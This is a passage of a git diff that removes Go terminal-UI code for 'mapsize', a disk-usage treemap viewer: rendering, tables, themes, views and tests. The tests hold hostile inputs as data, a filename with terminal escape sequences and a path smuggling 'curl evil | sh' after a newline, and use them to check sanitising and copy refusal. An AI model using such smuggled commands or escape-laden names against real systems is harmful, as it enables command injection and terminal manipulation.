kvl := func(k, v string, vs Style) { - if y < end { - cv.Text(x, y, k, w, Style{FG: t.Muted, BG: t.PanelBg}) - cv.TextRight(x, y, w, v, vs) - y++ - } - } - val := Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold} - tr := m.tree - z := tr.Node(m.zoom) - - head("DIRECTORY") - for _, l := range wrap(textutil.Sanitize(z.Name), w) { - if y < end { - cv.Text(x, y, l, w, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}) - y++ - } - } - y++ - kvl("Size", textutil.Size(m.sizeOf(m.zoom)), val) - kvl("Logical", textutil.Size(z.TotSize), Style{FG: t.Fg, BG: t.PanelBg}) - kvl("Allocated", textutil.Size(z.TotAlloc), Style{FG: t.Fg, BG: t.PanelBg}) - kvl("Files", textutil.Count(int64(z.Files)), Style{FG: t.Fg, BG: t.PanelBg}) - kvl("Directories", textutil.Count(int64(z.Dirs)), Style{FG: t.Fg, BG: t.PanelBg}) - if z.Errors > 0 { - kvl("Errors", textutil.Count(int64(z.Errors)), Style{FG: t.Err, BG: t.PanelBg, Attr: Bold}) - } - y++ - - // Category breakdown with proportional bars. - if cs := tr.CatSizes(m.zoom); cs != nil { - head("CATEGORIES") - type cat struct { - c inventory.Category - v int64 - } - var cats []cat - var total int64 - for i, v := range cs { - if v > 0 { - cats = append(cats, cat{inventory.Category(i), v}) - total += v - } - } - sort.Slice(cats, func(i, j int) bool { return cats[i].v > cats[j].v }) - for _, c := range cats { - if y >= end-8 { - break - } - col := t.Cat[c.c] - sw := "██ " - if t.Mono || t.ASCII { - sw = " " - } - cv.Text(x, y, sw, 3, Style{FG: col, BG: t.PanelBg}) - cv.Text(x+3, y, c.c.String(), w-3, Style{FG: t.Fg, BG: t.PanelBg}) - cv.TextRight(x, y, w, textutil.Percent(c.v, total), Style{FG: t.Muted, BG: t.PanelBg}) - y++ - m.paintBar(cv, x+3, y, w-3, float64(c.v)/float64(cats[0].v), col, false) - y++ - } - y++ - } - - // Selected item. - if y < end-4 { - head("SELECTED") - desc := []string{} - if isGroup(m.sel) { - if g, ok := m.groupInfo(m.sel); ok { - desc = append(desc, fmt.Sprintf("%s smaller items", textutil.Count(int64(len(g.ids)))), textutil.Size(g.size)) - } - } else if id := m.selectedNode(); id != inventory.NoNode { - n := tr.Node(id) - desc = append(desc, wrap(textutil.Sanitize(n.Name), w)...) - desc = append(desc, textutil.Size(m.sizeOf(id))+" · "+textutil.Percent(m.sizeOf(id), m.sizeOf(m.zoom))) - if n.IsDir() { - desc = append(desc, textutil.Count(int64(n.Files))+" files") - } else { - desc = append(desc, kindLabel(tr, n)) - } - } - for _, d := range desc { - if y < end { - cv.Text(x, y, d, w, Style{FG: t.Fg, BG: t.PanelBg}) - y++ - } - } - } -} diff --git a/internal/tui/table.go b/internal/tui/table.go deleted file mode 100644 index 9da1d34..0000000 --- a/internal/tui/table.go +++ /dev/null @@ -1,222 +0,0 @@ -package tui - -import ( - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// column describes one table column. -type column struct { - title string - width int // 0 = flexible (takes the remaining space) - right bool - clipLeft bool // truncate from the left (paths: the tail matters) -} - -// tableRow is one rendered row: cell strings plus optional per-cell styles. -type tableRow struct { - cells []string - styles []*Style // nil = default - bar float64 // 0..1 for an optional bar column (-1 = none) - barCol Color -} - -// table is a scrollable list with a cursor, shared by the list-style views. -type table struct { - cursor, offset int - height int // rows visible in the last paint -} - -// scroll moves the cursor three rows for a mouse wheel step. -func (tb *table) scroll(up bool, n int) { - if up { - tb.move(-3, n) - } else { - tb.move(3, n) - } -} - -func (tb *table) move(d, n int) { - if n == 0 { - tb.cursor = 0 - return - } - tb.cursor = min(max(tb.cursor+d, 0), n-1) -} - -// key handles navigation keys common to all tables. -func (tb *table) key(k string, n int) bool { - page := max(tb.height-1, 1) - switch k { - case "up", "k": - tb.move(-1, n) - case "down", "j": - tb.move(1, n) - case "pgup", "ctrl+b": - tb.move(-page, n) - case "pgdown", "ctrl+f": - tb.move(page, n) - case "end", "G": - tb.move(n, n) - case "g": - tb.cursor = 0 - default: - return false - } - return true -} - -func (tb *table) paint(m *Model, cv *Canvas, r treemap.Rect, cols []column, rows []tableRow, title string) { - t := m.theme - cv.Fill(r, " ", t.base()) - if r.H < 3 { - return - } - y := r.Y - if title != "" { - cv.Text(r.X+1, y, title, r.W-2, Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - y++ - } - // Resolve flexible width. - fixed := 0 - for _, c := range cols { - fixed += c.width + 1 - } - flex := max(r.W-2-fixed, 8) - x := r.X + 1 - hdr := Style{FG: t.Muted, BG: t.Bg, Attr: Bold} - for _, c := range cols { - w := c.width - if w == 0 { - w = flex - } - s := c.title - if c.right { - s = textutil.PadLeft(s, w) - } - cv.Text(x, y, s, w, hdr) - x += w + 1 - } - y++ - cv.HLine(r.X+1, y, r.W-2, "─", Style{FG: t.Faint, BG: t.Bg}) - y++ - tb.height = r.Y + r.H - y - if tb.cursor >= len(rows) { - tb.cursor = max(len(rows)-1, 0) - } - if tb.cursor < tb.offset { - tb.offset = tb.cursor - } - if tb.cursor >= tb.offset+tb.height { - tb.offset = tb.cursor - tb.height + 1 - } - tb.offset = max(0, min(tb.offset, len(rows)-tb.height)) - for i := tb.offset; i < len(rows) && y < r.Y+r.H; i++ { - row := rows[i] - sel := i == tb.cursor - base := t.base() - if sel { - base = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()} - cv.Fill(treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, " ", base) - } - x := r.X + 1 - for ci, c := range cols { - w := c.width - if w == 0 { - w = flex - } - s := "" - if ci < len(row.cells) { - s = row.cells[ci] - } - st := base - if !sel && ci < len(row.styles) && row.styles[ci] != nil { - st = *row.styles[ci] - } - if c.title == "" && row.bar >= 0 { - m.paintBar(cv, x, y, w, row.bar, row.barCol, sel) - } else if c.right { - cv.Text(x, y, textutil.PadLeft(s, w), w, st) - } else if c.clipLeft { - cv.Text(x, y, textutil.TruncateLeft(s, w), w, st) - } else { - cv.Text(x, y, textutil.Truncate(s, w), w, st) - } - x += w + 1 - } - idx := i - m.hits = append(m.hits, hit{treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, func(m *Model, double bool) tea.Cmd { - tb.cursor = idx - if double { - return m.handleKeyName("enter") - } - return nil - }}) - y++ - } - if len(rows) == 0 { - cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Nothing to show", t.muted()) - } - if len(rows) > tb.height && tb.height > 0 { - pos := textutil.Count(int64(tb.cursor+1)) + "/" + textutil.Count(int64(len(rows))) - cv.TextRight(r.X, r.Y, r.W-1, pos, t.muted()) - } -} - -// paintBar draws a proportional bar with eighth-block precision. -func (m *Model) paintBar(cv *Canvas, x, y, w int, frac float64, col Color, sel bool) { - t := m.theme - if col == 0 { - col = t.Accent - } - bg := t.Bg.Mix(t.Fg, 0.08) - if sel { - bg = t.Sel.Mix(RGB(0, 0, 0), 0.25) - } - eighths := int(frac*float64(w*8) + 0.5) - parts := []string{"", "▏", "▎", "▍", "▌", "▋", "▊", "▉"} - for i := 0; i < w; i++ { - ch := " " - switch { - case eighths >= 8: - ch = "█" - case eighths > 0: - ch = parts[eighths] - } - if t.ASCII { - ch = " " - if eighths >= 4 { - ch = "#" - } - } - eighths -= 8 - st := Style{FG: col, BG: bg} - if t.Mono { - st = Style{} - } - cv.Text(x+i, y, ch, 1, st) - } -} - -// handleKeyName lets mouse actions reuse key handling (lock already held). -func (m *Model) handleKeyName(k string) tea.Cmd { - if handled, cmd := m.views[m.view].key(m, k); handled { - return cmd - } - switch k { - case "enter": - return m.inspectSelection() - case "space": - return m.zoomIntoSelection() - } - return nil -} - -func plural(n int, s string) string { - if n == 1 { - return "1 " + s - } - return textutil.Count(int64(n)) + " " + s + "s" -} diff --git a/internal/tui/theme.go b/internal/tui/theme.go deleted file mode 100644 index 6959999..0000000 --- a/internal/tui/theme.go +++ /dev/null @@ -1,165 +0,0 @@ -package tui - -import ( - "sort" - "strings" - - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/inventory" -) - -// Theme holds every colour the UI uses. Nothing else in the TUI hard-codes -// colours. -type Theme struct { - Name string - Mono bool // no colour: rely on attributes and glyphs - ASCII bool // no box-drawing glyphs - - Bg, Fg, Muted, Faint Color - Accent, Sel Color - HeaderBg, HeaderFg Color - StatusBg, StatusFg Color - PanelBg Color - Warn, Err, OK Color - Group Color - EmptyDir Color - Cat [inventory.NumCategories]Color - DiffGrow, DiffShrink Color - DiffNew, DiffSame Color - Ext map[string]Color -} - -var themes = map[string]func() *Theme{ - "default": defaultTheme, - "dark": darkTheme, - "high-contrast": highContrastTheme, - "mono": monoTheme, -} - -// ThemeNames lists built-in themes. -func ThemeNames() []string { - var out []string - for k := range themes { - out = append(out, k) - } - sort.Strings(out) - return out -} - -func defaultTheme() *Theme { - return &Theme{ - Name: "default", - Bg: RGB(0x16, 0x18, 0x1d), Fg: RGB(0xdc, 0xdf, 0xe4), Muted: RGB(0x8a, 0x91, 0x9c), Faint: RGB(0x4a, 0x50, 0x5a), - Accent: RGB(0x61, 0xaf, 0xef), Sel: RGB(0xff, 0xd8, 0x66), - HeaderBg: RGB(0x21, 0x25, 0x2b), HeaderFg: RGB(0xdc, 0xdf, 0xe4), - StatusBg: RGB(0x2c, 0x31, 0x3a), StatusFg: RGB(0xc8, 0xcc, 0xd4), - PanelBg: RGB(0x1c, 0x1f, 0x25), - Warn: RGB(0xe5, 0xc0, 0x7b), Err: RGB(0xe0, 0x6c, 0x75), OK: RGB(0x98, 0xc3, 0x79), - Group: RGB(0x5c, 0x63, 0x70), EmptyDir: RGB(0x4b, 0x52, 0x63), - Cat: [inventory.NumCategories]Color{ - inventory.CatOther: RGB(0x7f, 0x8c, 0x9d), - inventory.CatImage: RGB(0xe5, 0xc0, 0x7b), - inventory.CatVideo: RGB(0xe0, 0x6c, 0x75), - inventory.CatAudio: RGB(0xd1, 0x9a, 0x66), - inventory.CatArchive: RGB(0xc6, 0x78, 0xdd), - inventory.CatDiskImage: RGB(0x8e, 0x7c, 0xf0), - inventory.CatDatabase: RGB(0x56, 0xb6, 0xc2), - inventory.CatCode: RGB(0x98, 0xc3, 0x79), - inventory.CatDocument: RGB(0x61, 0xaf, 0xef), - inventory.CatExecutable: RGB(0xbe, 0x50, 0x46), - inventory.CatLog: RGB(0xa3, 0xa8, 0x6a), - inventory.CatCache: RGB(0x6b, 0x77, 0x88), - }, - DiffGrow: RGB(0xf0, 0x5a, 0x5a), DiffShrink: RGB(0x5a, 0xd0, 0x7a), - DiffNew: RGB(0x4f, 0xa8, 0xff), DiffSame: RGB(0x50, 0x56, 0x60), - } -} - -func darkTheme() *Theme { - t := defaultTheme() - t.Name = "dark" - t.Bg, t.PanelBg = RGB(0, 0, 0), RGB(0x0c, 0x0c, 0x0e) - t.HeaderBg, t.StatusBg = RGB(0x12, 0x12, 0x16), RGB(0x1a, 0x1a, 0x20) - for i, c := range t.Cat { - t.Cat[i] = c.Mix(RGB(0, 0, 0), 0.2) - } - return t -} - -func highContrastTheme() *Theme { - t := defaultTheme() - t.Name = "high-contrast" - t.Bg, t.Fg, t.Muted = RGB(0, 0, 0), RGB(0xff, 0xff, 0xff), RGB(0xd0, 0xd0, 0xd0) - t.HeaderBg, t.StatusBg, t.PanelBg = RGB(0, 0, 0), RGB(0x20, 0x20, 0x20), RGB(0, 0, 0) - t.Sel, t.Accent = RGB(0xff, 0xff, 0x00), RGB(0x00, 0xff, 0xff) - t.Cat = [inventory.NumCategories]Color{ - RGB(0xb0, 0xb0, 0xb0), RGB(0xff, 0xd7, 0x00), RGB(0xff, 0x30, 0x30), RGB(0xff, 0x8c, 0x00), - RGB(0xff, 0x00, 0xff), RGB(0x9b, 0x7b, 0xff), RGB(0x00, 0xe5, 0xff), RGB(0x00, 0xff, 0x00), - RGB(0x40, 0x9c, 0xff), RGB(0xff, 0x55, 0x55), RGB(0xc8, 0xff, 0x00), RGB(0x90, 0x90, 0xa0), - } - return t -} - -func monoTheme() *Theme { - return &Theme{Name: "mono", Mono: true} -} - -// LoadTheme returns a built-in theme with user overrides applied. -func LoadTheme(name string, s config.Settings) *Theme { - f, ok := themes[strings.ToLower(name)] - if !ok { - f = defaultTheme - } - t := f() - if t.Mono { - return t - } - for k, v := range s.CategoryColors { - if c, ok := inventory.ParseCategory(k); ok { - if col, ok := Hex(v); ok { - t.Cat[c] = col - } - } - } - for k, v := range s.ExtensionColors { - if col, ok := Hex(v); ok { - if t.Ext == nil { - t.Ext = map[string]Color{} - } - t.Ext[strings.ToLower(strings.TrimPrefix(k, "."))] = col - } - } - return t -} - -// Styles derived from the theme. -func (t *Theme) base() Style { return Style{FG: t.Fg, BG: t.Bg} } -func (t *Theme) muted() Style { return Style{FG: t.Muted, BG: t.Bg} } -func (t *Theme) header() Style { return Style{FG: t.HeaderFg, BG: t.HeaderBg} } -func (t *Theme) status() Style { return Style{FG: t.StatusFg, BG: t.StatusBg} } -func (t *Theme) panel() Style { return Style{FG: t.Fg, BG: t.PanelBg} } - -func (t *Theme) box() BoxChars { - if t.ASCII { - return BoxASCII - } - return BoxLight -} - -func (t *Theme) selBox() BoxChars { - if t.ASCII { - return BoxASCIISel - } - return BoxDouble -} - -// textOn picks a readable text colour for a background. -func (t *Theme) textOn(bg Color) Color { - if bg == 0 { - return t.Fg - } - if bg.Luma() > 0.55 { - return RGB(0x10, 0x12, 0x16) - } - return RGB(0xf2, 0xf4, 0xf7) -} diff --git a/internal/tui/tui_test.go b/internal/tui/tui_test.go deleted file mode 100644 index 218a8a9..0000000 --- a/internal/tui/tui_test.go +++ /dev/null @@ -1,499 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "math/rand" - "strings" - "testing" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - "github.com/charmbracelet/x/ansi" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/treemap" -) - -const hostile = "evil\x1b]0;pwned\x07\x1b[2J.iso" - -func testTree() *inventory.Tree { - t := inventory.New("/srv", inventory.KindDir) - add := func(p inventory.NodeID, name string, size int64) inventory.NodeID { - id := t.Add(p, name, inventory.KindFile) - n := t.Node(id) - n.Size, n.Alloc = size, size - n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false) - n.MTime = 1_700_000_000_000_000_000 - return id - } - dir := func(p inventory.NodeID, name string) inventory.NodeID { - id := t.Add(p, name, inventory.KindDir) - t.Node(id).Flags |= inventory.FlagScanned - return id - } - backups := dir(0, "backups") - for i := range 40 { - add(backups, fmt.Sprintf("dump-%02d.tar.gz", i), int64(1+i)<<30) - } - vms := dir(0, "vms") - add(vms, "ubuntu.qcow2", 86<<30) - add(vms, "win.vmdk", 40<<30) - media := dir(0, "media") - photos := dir(media, "photos 日本語") - for i := range 300 { - add(photos, fmt.Sprintf("img%03d.jpg", i), int64(i+1)<<20) - } - add(media, hostile, 9<<30) - add(media, "👨‍👩‍👧 family.mp4", 12<<30) - tiny := dir(0, "tiny") - for i := range 2000 { - add(tiny, fmt.Sprintf("f%d", i), 100) - } - add(0, "README", 10) - t.Recompute() - t.Stats.Complete = true - return t -} - -func newTestModel(t *testing.T) *Model { - t.Helper() - tr := testTree() - m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, - nil, tr, func() {}) - m.profile = colorprofile.TrueColor - return m -} - -func send(m *Model, msgs ...tea.Msg) { - for _, msg := range msgs { - m.Update(msg) - } -} - -func key(s string) tea.KeyPressMsg { - switch s { - case "up": - return tea.KeyPressMsg{Code: tea.KeyUp} - case "down": - return tea.KeyPressMsg{Code: tea.KeyDown} - case "left": - return tea.KeyPressMsg{Code: tea.KeyLeft} - case "right": - return tea.KeyPressMsg{Code: tea.KeyRight} - case "enter": - return tea.KeyPressMsg{Code: tea.KeyEnter} - case "esc": - return tea.KeyPressMsg{Code: tea.KeyEscape} - case "space": - return tea.KeyPressMsg{Code: tea.KeySpace, Text: " "} - case "backspace": - return tea.KeyPressMsg{Code: tea.KeyBackspace} - case "home": - return tea.KeyPressMsg{Code: tea.KeyHome} - case "tab": - return tea.KeyPressMsg{Code: tea.KeyTab} - } - r := []rune(s)[0] - return tea.KeyPressMsg{Code: r, Text: s} -} - -func size(w, h int) tea.WindowSizeMsg { return tea.WindowSizeMsg{Width: w, Height: h} } - -// checkFrame verifies the rendered frame exactly fills w×h cells and that no -// filename control sequence leaked through. -func checkFrame(t *testing.T, m *Model, w, h int) string { - t.Helper() - content := m.View().Content - if strings.Contains(content, "\x1b]") || strings.Contains(content, "\x07") || strings.Contains(content, "\x1b[2J") { - t.Fatalf("terminal control sequence from a filename leaked into the frame") - } - lines := strings.Split(content, "\n") - if len(lines) != h { - t.Fatalf("%dx%d: frame has %d lines", w, h, len(lines)) - } - for i, l := range lines { - if got := ansi.StringWidth(l); got != w { - t.Fatalf("%dx%d: line %d has width %d: %q", w, h, i, got, ansi.Strip(l)) - } - } - return ansi.Strip(content) -} - -func TestResizeTransitionsPreserveState(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40)) - checkFrame(t, m, 120, 40) - // Zoom into media and select something that is not the default. - m.tree.RLock() - media := m.kidsOf(0) - m.tree.RUnlock() - var mediaID inventory.NodeID - for _, id := range media.ids { - if m.tree.Node(id).Name == "media" { - mediaID = id - } - } - m.sel, m.userSel = int64(mediaID), true - send(m, key("space")) - if m.zoom != mediaID { - t.Fatalf("zoom = %d want media %d", m.zoom, mediaID) - } - checkFrame(t, m, 120, 40) - send(m, key("right")) - sel := m.sel - for _, sz := range [][2]int{{80, 24}, {120, 40}, {300, 80}, {70, 20}, {180, 50}, {40, 10}, {39, 9}, {200, 60}} { - send(m, size(sz[0], sz[1])) - checkFrame(t, m, sz[0], sz[1]) - if m.zoom != mediaID { - t.Fatalf("%v: zoom lost", sz) - } - if m.sel != sel && !isGroup(m.sel) { - t.Fatalf("%v: selection changed from %d to %d", sz, sel, m.sel) - } - } - // The layout must be recomputed for the new geometry, not stretched. - if m.tm == nil || m.tm.rect.W > 200 || m.tm.rect.H > 60 { - t.Fatalf("layout not recomputed for final size: %+v", m.tm.rect) - } - for _, b := range m.tm.blocks { - r := m.tm.rect - if b.X < r.X || b.Y < r.Y || b.X+b.W > r.X+r.W || b.Y+b.H > r.Y+r.H { - t.Fatalf("block %+v outside treemap %+v", b, r) - } - } -} - -func TestResizeStorm(t *testing.T) { - m := newTestModel(t) - r := rand.New(rand.NewSource(1)) - send(m, size(120, 40)) - m.View() - send(m, key("right"), key("down")) - sel := m.sel - for i := 0; i < 300; i++ { - send(m, size(20+r.Intn(300), 5+r.Intn(90))) - if i%7 == 0 { - m.View() // renders interleave with resizes like the real event loop - } - } - send(m, size(150, 45)) - checkFrame(t, m, 150, 45) - if m.sel != sel { - t.Fatalf("selection lost in resize storm") - } -} - -func TestModalSurvivesResize(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40), key("enter")) - if len(m.modals) != 1 { - t.Fatal("Enter should open the info modal") - } - for _, sz := range [][2]int{{120, 40}, {60, 14}, {41, 10}, {300, 80}, {45, 12}} { - send(m, size(sz[0], sz[1])) - out := checkFrame(t, m, sz[0], sz[1]) - if !strings.Contains(out, "ITEM INFORMATION") { - t.Fatalf("%v: modal title missing:\n%s", sz, out) - } - f := m.modals[0].(*modalFrame) - if f.viewH < 1 || f.viewH > sz[1] { - t.Fatalf("%v: modal viewport %d", sz, f.viewH) - } - } - // Scrolling in a tiny terminal must stay in range. - send(m, size(45, 12)) - for range 100 { - send(m, key("down")) - } - checkFrame(t, m, 45, 12) - f := m.modals[0].(*modalFrame) - if f.scroll < 0 || f.scroll > f.contentN { - t.Fatalf("scroll out of range: %d of %d", f.scroll, f.contentN) - } - send(m, key("esc")) - if len(m.modals) != 0 { - t.Fatal("Esc should close the modal") - } -} - -func TestSpatialNavigationUsesGeometry(t *testing.T) { - m := newTestModel(t) - send(m, size(160, 45)) - m.View() - blocks := m.tm.blocks - for _, dir := range []string{"right", "down", "left", "up"} { - before := m.sel - send(m, key(dir)) - m.View() - if m.sel == before { - continue // edge of the map - } - var a, b = findBlock(blocks, before), findBlock(blocks, m.sel) - switch dir { - case "right": - if b.X < a.X+a.W { - t.Fatalf("right moved to a block that is not to the right: %+v -> %+v", a, b) - } - case "left": - if b.X+b.W > a.X { - t.Fatalf("left moved wrongly: %+v -> %+v", a, b) - } - case "down": - if b.Y < a.Y+a.H { - t.Fatalf("down moved wrongly: %+v -> %+v", a, b) - } - case "up": - if b.Y+b.H > a.Y { - t.Fatalf("up moved wrongly: %+v -> %+v", a, b) - } - } - } -} - -func findBlock(bs []treemap.Block, id int64) treemap.Block { - for _, b := range bs { - if b.ID == id { - return b - } - } - return treemap.Block{} -} - -func TestZoomBreadcrumbsAndHome(t *testing.T) { - m := newTestModel(t) - send(m, size(100, 30)) - m.tree.RLock() - var media, photos inventory.NodeID - m.tree.Walk(0, func(id inventory.NodeID, n *inventory.Node) bool { - switch n.Name { - case "media": - media = id - case "photos 日本語": - photos = id - } - return true - }) - m.tree.RUnlock() - m.sel, m.userSel = int64(media), true - send(m, key("space")) - m.sel = int64(photos) - send(m, key("space")) - if m.zoom != photos { - t.Fatal("did not zoom into photos") - } - out := checkFrame(t, m, 100, 30) - if !strings.Contains(out, "media › photos 日本語") { - t.Fatalf("breadcrumbs missing:\n%s", out) - } - // Narrow terminal: breadcrumbs truncate from the left, keeping the tail. - send(m, size(42, 12)) - out = checkFrame(t, m, 42, 12) - if !strings.Contains(out, "photos") { - t.Fatalf("breadcrumb tail missing:\n%s", out) - } - send(m, key("backspace")) - if m.zoom != media || m.sel != int64(photos) { - t.Fatalf("backspace: zoom %d sel %d", m.zoom, m.sel) - } - send(m, key("home")) - if m.zoom != 0 { - t.Fatal("home did not return to root") - } -} - -func TestFilterTransformsMap(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40), key("/")) - for _, r := range "ext = gz" { - send(m, tea.KeyPressMsg{Code: r, Text: string(r)}) - } - if m.search.err != "" || m.search.query == nil { - t.Fatalf("query not parsed: %q", m.search.err) - } - msg := m.applyFilter()() - send(m, msg, key("enter")) - if m.search.result == nil { - t.Fatal("no filter result") - } - out := checkFrame(t, m, 120, 40) - if strings.Contains(out, "vms/") || !strings.Contains(out, "backups/") { - t.Fatalf("filter not applied to the map:\n%s", out) - } - if !strings.Contains(out, "FILTER") { - t.Fatal("filter indicator missing") - } - send(m, key("esc")) - if m.search.query != nil || m.search.result != nil { - t.Fatal("Esc should clear the filter") - } - out = checkFrame(t, m, 120, 40) - if !strings.Contains(out, "vms/") { - t.Fatalf("map not restored after clearing filter:\n%s", out) - } -} - -func TestHostileNameSanitisedInModal(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40)) - var id inventory.NodeID - m.tree.Walk(0, func(i inventory.NodeID, n *inventory.Node) bool { - if n.Name == hostile { - id = i - } - return true - }) - m.openModal(newInfoModal(m, id)) - out := checkFrame(t, m, 120, 40) - if !strings.Contains(out, `\x1b]0;pwned\x07`) { - t.Fatalf("escaped name not shown:\n%s", out) - } -} - -func TestViewsRenderAtManySizes(t *testing.T) { - m := newTestModel(t) - for range m.views { - for _, sz := range [][2]int{{40, 10}, {80, 24}, {150, 45}, {91, 22}} { - send(m, size(sz[0], sz[1])) - checkFrame(t, m, sz[0], sz[1]) - send(m, key("down"), key("down")) - checkFrame(t, m, sz[0], sz[1]) - } - send(m, key("tab")) - } - send(m, key("?")) - send(m, size(60, 15)) - checkFrame(t, m, 60, 15) -} - -func TestLevelOfDetailGroupsTinyFiles(t *testing.T) { - m := newTestModel(t) - send(m, size(100, 30)) - m.tree.RLock() - var tiny inventory.NodeID - m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) { - if n.Name == "tiny" { - tiny = id - } - }) - m.tree.RUnlock() - m.zoomTo(tiny) - m.View() - if len(m.tm.blocks) > 100*30/topMinArea+1 { - t.Fatalf("%d blocks for 2000 equal files: LOD not applied", len(m.tm.blocks)) - } - if _, ok := m.tm.groups[groupID(tiny)]; !ok { - t.Fatal("expected a group block for small items") - } -} - -func TestCtrlCQuitsWhenIdle(t *testing.T) { - m := newTestModel(t) - send(m, size(80, 24)) - _, cmd := m.Update(tea.KeyPressMsg{Code: 'c', Mod: tea.ModCtrl}) - if cmd == nil || !m.quit { - t.Fatal("Ctrl+C should quit when no scan runs") - } -} - -func BenchmarkRenderFrame(b *testing.B) { - tr := testTree() - m := newModel(Options{}, nil, tr, func() {}) - m.profile = colorprofile.TrueColor - send(m, size(200, 60)) - for b.Loop() { - m.dirty = true - m.View() - } -} - -func BenchmarkResizeRelayout(b *testing.B) { - tr := testTree() - m := newModel(Options{}, nil, tr, func() {}) - i := 0 - for b.Loop() { - send(m, size(100+i%100, 30+i%30)) - m.View() - i++ - } -} - -func TestMouse(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40)) - m.View() - // Click the centre of a block other than the selected one. - var target treemap.Block - for _, b := range m.tm.blocks { - if b.ID != m.sel && b.ID >= 0 && m.tree.Node(inventory.NodeID(b.ID)).IsDir() && b.W > 4 { - target = b - break - } - } - click := tea.MouseClickMsg{X: target.X + target.W/2, Y: target.Y + target.H/2, Button: tea.MouseLeft} - send(m, click) - if m.sel != target.ID { - t.Fatalf("click selected %d, want %d", m.sel, target.ID) - } - m.View() - send(m, click) // second click within the double-click window - if m.zoom != inventory.NodeID(target.ID) { - t.Fatalf("double click should zoom into %d (zoom=%d)", target.ID, m.zoom) - } - m.View() - send(m, tea.MouseWheelMsg{X: 50, Y: 20, Button: tea.MouseWheelDown}) - if m.zoom != 0 { - t.Fatal("wheel down should zoom out") - } - // A modal swallows clicks; clicking outside closes it. - send(m, key("?")) - m.View() - send(m, tea.MouseClickMsg{X: 0, Y: 39, Button: tea.MouseLeft}) - if len(m.modals) != 0 { - t.Fatal("click outside modal should close it") - } -} - -func TestQuantizers(t *testing.T) { - if quant16(RGB(10, 12, 8)) != 0 { - t.Fatal("near-black should map to black") - } - if n := quant16(RGB(0xe0, 0x6c, 0x75)); n != 1 && n != 9 { - t.Fatalf("red-ish mapped to %d", n) - } - if n := quant256(RGB(40, 48, 30)); n < 16 { - t.Fatalf("256 quantizer used palette-dependent index %d", n) - } - // A dark, slightly tinted shade must land on the grey ramp or a dark - // cube entry, not a saturated one like olive (58) or navy (17). - if n := quant256(RGB(40, 48, 30)); n == 58 || n == 17 || n == 22 { - t.Fatalf("dark tint mapped to saturated %d", n) - } -} - -func TestColourDepthsRenderSameGeometry(t *testing.T) { - for _, p := range []colorprofile.Profile{colorprofile.TrueColor, colorprofile.ANSI256, colorprofile.ANSI, colorprofile.ASCII} { - m := newTestModel(t) - m.profile = p - send(m, size(100, 30)) - checkFrame(t, m, 100, 30) - } -} - -// A filename with a newline would run commands when pasted into a shell. -func TestCopyRefusesControlCharacters(t *testing.T) { - m := newTestModel(t) - m.copyPath("/srv/x\ncurl evil | sh\n") - if !strings.HasPrefix(m.toast, "Not copied") { - t.Fatalf("hostile path copied: %q", m.toast) - } - m.copyPath("/srv/media/" + hostile) - if !strings.HasPrefix(m.toast, "Not copied") { - t.Fatalf("escape sequence copied: %q", m.toast) - } - m.copyPath("/srv/photos 日本語/img001.jpg") - if !strings.HasPrefix(m.toast, "Copied") { - t.Fatalf("plain path refused: %q", m.toast) - } -} diff --git a/internal/tui/views.go b/internal/tui/views.go deleted file mode 100644 index c97c478..0000000 --- a/internal/tui/views.go +++ /dev/null @@ -1,457 +0,0 @@ -package tui - -import ( - "fmt" - "sort" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// ---- Directory list ------------------------------------------------------- - -type listView struct { - tb table - lastSel int64 -} - -func (*listView) name() string { return "List" } - -// sync reconciles the table cursor with the shared selection: if the -// selection changed elsewhere (treemap, jump) the cursor follows it; -// otherwise the cursor (moved by keys or clicks) drives the selection. -func (v *listView) sync(m *Model) { - k := m.kidsOf(m.zoom) - if m.sel != v.lastSel { - for i, id := range k.ids { - if int64(id) == m.sel { - v.tb.cursor = i - } - } - } else if v.tb.cursor < len(k.ids) { - m.sel = int64(k.ids[v.tb.cursor]) - } - v.lastSel = m.sel -} - -func (v *listView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - k := m.kidsOf(m.zoom) - v.sync(m) - total := m.sizeOf(m.zoom) - rows := make([]tableRow, len(k.ids)) - for i, id := range k.ids { - n := m.tree.Node(id) - name := textutil.Sanitize(n.Name) - files := "" - if n.IsDir() { - name += "/" - files = textutil.Count(int64(n.Files)) - } - mod := "" - if n.MTime > 0 { - mod = time.Unix(0, n.MTime).Format("2006-01-02") - } - col := m.colorOf(int64(id)) - nameSt := &Style{FG: col.Mix(t.Fg, 0.45), BG: t.Bg} - if n.IsDir() { - nameSt.Attr = Bold - } - frac := 0.0 - if k.sizes[0] > 0 { - frac = float64(k.sizes[i]) / float64(k.sizes[0]) - } - rows[i] = tableRow{ - cells: []string{textutil.Size(k.sizes[i]), textutil.Percent(k.sizes[i], total), "", files, mod, name}, - styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nameSt}, - bar: frac, barCol: col, - } - if m.opts.Diff != nil { - rows[i].cells[4] = 